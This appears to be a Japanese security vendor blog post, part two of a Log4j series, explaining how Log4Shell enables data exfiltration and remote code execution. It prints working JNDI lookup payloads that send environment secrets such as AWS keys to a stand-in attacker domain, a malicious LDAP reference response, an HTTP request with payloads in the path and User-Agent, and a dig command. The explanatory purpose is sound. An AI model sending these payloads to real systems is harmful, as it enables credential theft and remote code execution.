Log4j 特集パート 2:データ流出とリモートコード実行のエクスプロイト
データ流出
このブログの 第 1 部では、この脆弱性の背景について説明しました。今度は、実際のエクスプロイトについて詳しく見ていきましょう。前回のブログで説明したように、JNDI では Java ランタイム環境内のローカルデータだけでなく DNS や LDAP などのリモートシステムのクエリーも実行できます。JNDI、リモートシステム、env ルックアップ、ネストを組み合わせた場合、ペイロードを作成し、それをログに記録されるテキストに配置すると、データ流出を引き起こすことができます。
この例では、攻撃者がドメイン名 malware.exampleを所有していると仮定します。
注:本書では実際のドメイン名を参照しないために最上位レベルのドメイン名として「.example」を使用していますが、読者の方はこれを、攻撃者が購入できる任意のドメイン名に置き換えて想像してください。
次に、攻撃者が何らかの方法で Log4j に送信されるテキストを操作できるとします。 この問題が発生する流れについては、この後で説明します。この例では、テキストは次のようになります。
「Log this: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}」
前述のネストの原則に従って、Log4j は最初に ${env:USER}を評価し、その結果、ソフトウェアを実行しているユーザーをルックアップします。このユーザーが今度も Administratorであると仮定します。Log4j は、テキストにそれを代入し、次の暫定ログ行を生成します。
「Log this: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}」
この行には次のルックアップ式が含まれています。
${jndi:dns://127.0.0.1:53/Administrator.malware.example}
Log4j はこの JNDI ベースのルックアップ式を認識し、 dns://127.0.0.1:53/Administrator.malware.exampleの擬似 URL を解析し、JNDI に渡します。JNDI はこの擬似 URL に対して DNS プロバイダーが必要であると認識し、 Administrator.malware.exampleの localhost リゾルバーを使用して DNS ルックアップを実行します。
攻撃者が malware.example を所有しているため、 Administrator.malware.example の DNS クエリーは、権威 DNS サーバーに届きます。攻撃者は、DNS クエリーを観察することで、脆弱な Log4j コードを使用しているソフトウェアを発見します。ここでは、それを実行しているユーザーは 管理者です。
このように、入念に細工されたペイロードが Log4j に提供された場合は、環境からデータを簡単に漏えいさせることができます。現在実行中のユーザーの漏えいも十分悪いことですが、機密性の高い情報がこの脆弱性の影響を受けると、事態はより深刻です。
1 つの例として(実例)、前述の ${env:USER} を ${env:AWS_SECRET_ACCESS_KEY}に変更し、次の文字列を生成したとするとどうなるか考えてみましょう。
「Log this: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}」
前述のロジックに従い、結果的に DNS クエリーは攻撃者の権威 DNS サーバーに届きます。このサーバーには、Log4j コードを実行している Amazon 環境の AWS シークレットアクセスキーが保存されています。万一 このような 情報が漏えいすると、AWS インスタンスが乗っ取られる可能性があります。
脆弱なコードを実行しているソフトウェアの環境にある情報に Log4j ルックアップ式を介してアクセス可能な場合は、簡単にネストして、攻撃者が制御しているシステムに届くように強制できるのです。
これはすでに恐ろしいことですが、さらに悪い展開に陥る可能性があります。
リモートコードの実行
一部のバージョンの Java に JNDI を実装した場合にデフォルトでは、クエリーを行っているマシンがローカルに実行するリモートコードが、一部のディレクトリーサービスを、直接的および間接的な形の両方で、クエリーに応答させることができると判明しました。
たとえば、脆弱な環境で LDAP ディレクトリー・サービス・プロバイダーを使用すると、LDAP サーバーをクエリーに応答させることができます。この際に使用するのは、 リファレンスです。このリファレンスには、ローカルでダウンロードおよび実行されるコードのリモートロケーションがリストされています。
最初はあり得ないと思うかもしれませんが、LDAP サーバーと関連インフラが信頼されている高度に制御された環境では、有効な方法です。攻撃者がリクエスト元マシンを自らが制御している信頼されていない LDAP サーバーに指定できる場合に、問題が発生します。そうなると攻撃者は、悪性コードのリファレンスを返し、JNDI はこれをホストマシンにダウンロードして実行しなければなりません。
Log4j インスタンスが脆弱だと、ルックアップ式を通じて JNDI に無制限にアクセスでき、入念に細工されたログ行を使用してリモートコードのロードと実行を行うことができます。Log4j に送信された次のメッセージについて考えてみましょう。
「Log this: ${jndi:ldap://rce.malware.example/a}」
脆弱なシステムで、Log4j が ${jndi:ldap://rce.malware.example/a} ルックアップ式を認識し、JNDI 擬似 URL ldap://rce.malware.example/aを抽出し、処理のために JNDI に渡します。JNDI は、この URL が LDAP ディレクトリー・サービス・プロバイダーを使用していることを確認し、LDAP クエリーを rce.malware.example サイトに対して発行します。
攻撃者が rce.malware.example を所有して操作している場合は、リファレンスペイロードを次のような LDAP 応答として返送します。
dn:
javaClassName: exploit
javaCodeBase: http://rce.malware.com/exploit/
objectClass: javaNamingReference
javaFactory: exploitFactory
JNDI は、この応答を受信すると、Web サーバー URL http://rce.malware.com/exploit/ にアクセスし、関連する悪性リモートコード実行ペイロードをダウンロードし、最終的には Log4j を実行しているシステムでそれを実行します。
脅威サーフェス
これらの恐ろしい攻撃はいずれも、特別に細工されたメッセージを Log4 に渡す必要があります。そのため次の疑問が浮かびます。 攻撃者はどのようにしてこれを実行できる立場になるのか。 答えは、 攻撃者が提供する 情報をログに記録できる機会を活用することです。
現時点で最も 一般的な攻撃ベクトル は Web ベースのアプリケーションです。このようなアプリケーションの多くは、サイトにアクセスしているエンドユーザーとのやり取りをログに記録します。たとえば、リクエストされたパスと、ユーザーエージェント、時刻、リクエストの結果を記録します。
攻撃者がこの情報を得ると、Web アプリケーションに接続し、次のようなリクエストを発行できます。
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
ユーザーエージェント:${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}
リクエストを受信すると、Web アプリケーションはパス /${jndi:ldap://rce.malware.example/a} およびユーザーエージェント ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}を解析し、両方を Log4j に返送します。この処理が脆弱なシステムで実行されると、AWS シークレットアクセスキーが漏えいし、任意のコードがダウンロードされて実行されます。
Web ベースのアプリケーションは現在、他のどのアプリケーションよりもはるかに多くターゲットになっていますが、次の条件を満たす あらゆるサービス が悪用される可能性があることを覚えておくことが重要です。
Java を実行する。
脆弱なバージョンの Log4j を使用して、メッセージをログに記録する
攻撃者が提供するもの(URL、ヘッダー、cookie、クエリーなど)をログに記録する。
同様に DNS に対する攻撃ベクトルは、Web アプリケーションの場合よりも発生がはるかに少ないものの、野放し状態であると Akamai は考えています。攻撃者は、脆弱な DNS リゾルバーが存在するかどうかを確認しようとする場合、エクスプロイト可能なペイロードを埋め込んだ DNS クエリーを発行しています。これは、コマンドラインから次の DNS ルックアップを発行するだけで簡単に実行できます。
# dig '${jndi:ldap://rce.malware.example/a}.foo.example'
これにより、コマンドが実行されるシステムは、Log4j ルックアップ文字列自体に関する DNS クエリーをホストの設定済みリゾルバーに発行するように指示されます。DNS リゾルバーはこのようなクエリーを受信すると、無効な文字が含まれているため、そのクエリーをログに記録することがあります。DNS リゾルバーが Java ベースで、脆弱なバージョンの Log4j ライブラリーをログの記録に使用している場合、エクスプロイトが実行されます。
こういった攻撃は、クエリーに限定されません。Akamai は、ペイロードを DNS 応答に埋め込む別のアプローチも監視しています。多くの DNS クエリーでは、CNAME、TXT、SRV、PTR など、IP アドレス以外の情報を含む応答が生成されることがあります。当社が確認した証拠によると、攻撃者は自らの所有する応答レコードを操作して、エクスプロイトに利用可能な文字列を埋め込み、ルックアップの結果を記録するアプリケーションの場合と同様に、応答側でリゾルバーを攻撃しています。
このアプローチは、よく知られているインターネットプロトコルを使用してサーフェスを傷つけるだけですが、脅威サーフェスは、このようなユースケース以外にも拡大しています。実際、最近のセキュリティ調査から、iPhone の名前を脆弱な Log4j エクスプロイト文字列に変更した結果、Apple のインフラ内のサーバーが脆弱なマシンが電話機の名前を処理したことを示すピングバックを実行したことが判明しました。
この脆弱性がどの程度深刻なものであるかを理解するためには、Java が世界中の何十億ものデバイスで実行されていて、Log4j が最も広く使用されているロギングライブラリーの 1 つであることを考慮する必要があります。 Web サーバーから自動販売機まで、あらゆるものに脆弱性が存在し、組み込みデバイスや IoT デバイスの場合、パッチを適用できないものも多く存在します。
実際、脅威サーフェスの構成要素には、この攻撃にさらされる多数のデバイスだけではなく、攻撃にさらされる期間も含まれます。フットプリントが大きいことに加えて、一部のコンポーネントにパッチが適用されないということは、この脆弱性が数か月ではなく、数年存在する可能性を示唆します。Shellshock や Heartbleed など、すでに広く公表されている以前の脆弱性を、アタックサーフェスのサーフェスサイズと影響の両面で上回ることになるでしょう。
今後は?
パート 3 では、攻撃の進化と、それが進行し続ける環境で組織を保護するために利用可能な緩和策について詳しく説明します。ご期待ください。